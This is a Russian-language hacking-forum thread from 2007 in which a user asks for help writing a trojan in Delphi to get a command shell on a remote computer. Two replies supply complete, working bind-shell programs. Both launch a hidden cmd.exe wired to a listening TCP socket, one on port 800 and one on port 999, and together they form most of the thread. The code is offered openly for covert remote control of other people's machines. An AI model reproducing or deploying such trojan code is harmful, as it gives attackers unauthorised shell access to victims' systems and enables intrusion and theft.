ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

помогите написать троя (дельфи)
  #1  
Старый 02.04.2007, 07:58
sob@ke
Banned
Регистрация: 30.12.2006
Сообщений: 37
Провел на форуме:
228136

Репутация: 4
Отправить сообщение для sob@ke с помощью ICQ
По умолчанию помогите написать троя (дельфи)

помогите мне плииз)))как написать троя на дельфи для получения командной строки на у даленном комьпьютере?
 
Ответить с цитированием

  #2  
Старый 03.04.2007, 06:41
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме:
367179

Репутация: 76
По умолчанию

Цитата:
мона запустить командную строку и иммтировать нажатие клавиш
Проще, перенаправить ввод-вывод с cmd.exe на сокет. Реализуеся довольно просто:
Код:
program BindShell;

uses
  Windows,
  WinSock;

function WSASocketA(af, wType, protocol: integer;
                    lpProtocolInfo: pointer;
                    g, dwFlags: dword): integer;
                    stdcall; external 'ws2_32.dll';

var 
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;

begin
  WSAStartup($202, WSAData); // инициализация WinSocks2
  // создаем сокет
  FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
  bind(FSocket, SockAddrIn, 16); 
  listen(FSocket, 0);  // открываем порт
  while true do
   begin
    sHandle := accept(FSocket, nil, 0); // ожидаем соединения
    if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput  := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError  := sHandle;
       // запускаем cmd.exe с перенаправлением ввода-вывода
       CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end.
 
Ответить с цитированием

  #3  
Старый 04.04.2007, 23:03
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

или вот...
Код:
program theef_rpsrv;

uses
 Windows, Winsock2, Winsock;

const
 Port = 999;

var
 WSAData: TWSAData;
 FDSet: TFDSet;
 SockAddrIn: TSockAddrIn;
 ServerSocket: TSocket;
 Connected: PInteger;
 ThreadID: Cardinal;
 szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
 hSocket: PInteger;
 si: TStartupInfo;
 pi: TProcessInformation;
begin
 hSocket := Parameter;
 ZeroMemory(@si, SizeOf(si));
 si.cb := SizeOf(si);
 si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
 si.wShowWindow := SW_HIDE;
 si.hStdInput := hSocket^;
 si.hStdOutput := hSocket^;
 si.hStdError := hSocket^;
 CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
 WaitForSingleObject(pi.hProcess, INFINITE);
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
 Shutdown(hSocket^, SD_BOTH);
 CloseSocket(hSocket^);
 Dispose(hSocket);
 Result := 0;
end;

begin
 WSAStartUp(MakeWord(1, 1), WSAData);
 ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_addr.s_addr := INADDR_ANY;
 SockAddrIn.sin_port := htons(Port);
 Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
 Listen(ServerSocket, 1);
 GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
 while True do
  begin
   FD_Zero(FDSet);
   FD_Set(ServerSocket, FDSet);
   Select(0, @FDSet, nil, nil, nil);
   if FD_IsSet(ServerSocket, FDSet) then
    begin
     New(Connected);
     Connected^ := Accept(ServerSocket, nil, nil);
     if Connected^ <> SOCKET_ERROR then
      BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
     else
      Break;
    end;
  end;
 WSACleanup;
end.
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...

Последний раз редактировалось W!z@rD; 04.04.2007 в 23:07..
 
Ответить с цитированием

  #4  
Старый 06.04.2007, 18:31
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме:
1290766

Репутация: 1236


По умолчанию

смари исходник про биндшелл (прикрепленные темы форума)
__________________


snow white world wide
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
кто играет в www.ganjawars.ru ??? помогите kuppher Болталка 12 26.07.2008 23:38
ПомогитЕ !!! подалуста найти кряк гейлордфакерЪ Болталка 2 30.08.2007 14:48
ПоМоГиТе! ПЛЗ!!! farik.aka E-Mail 1 17.09.2006 13:00
www.chat.love4u.ru - помогите получить прова админа! airwil Чаты 4 30.04.2006 15:35



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ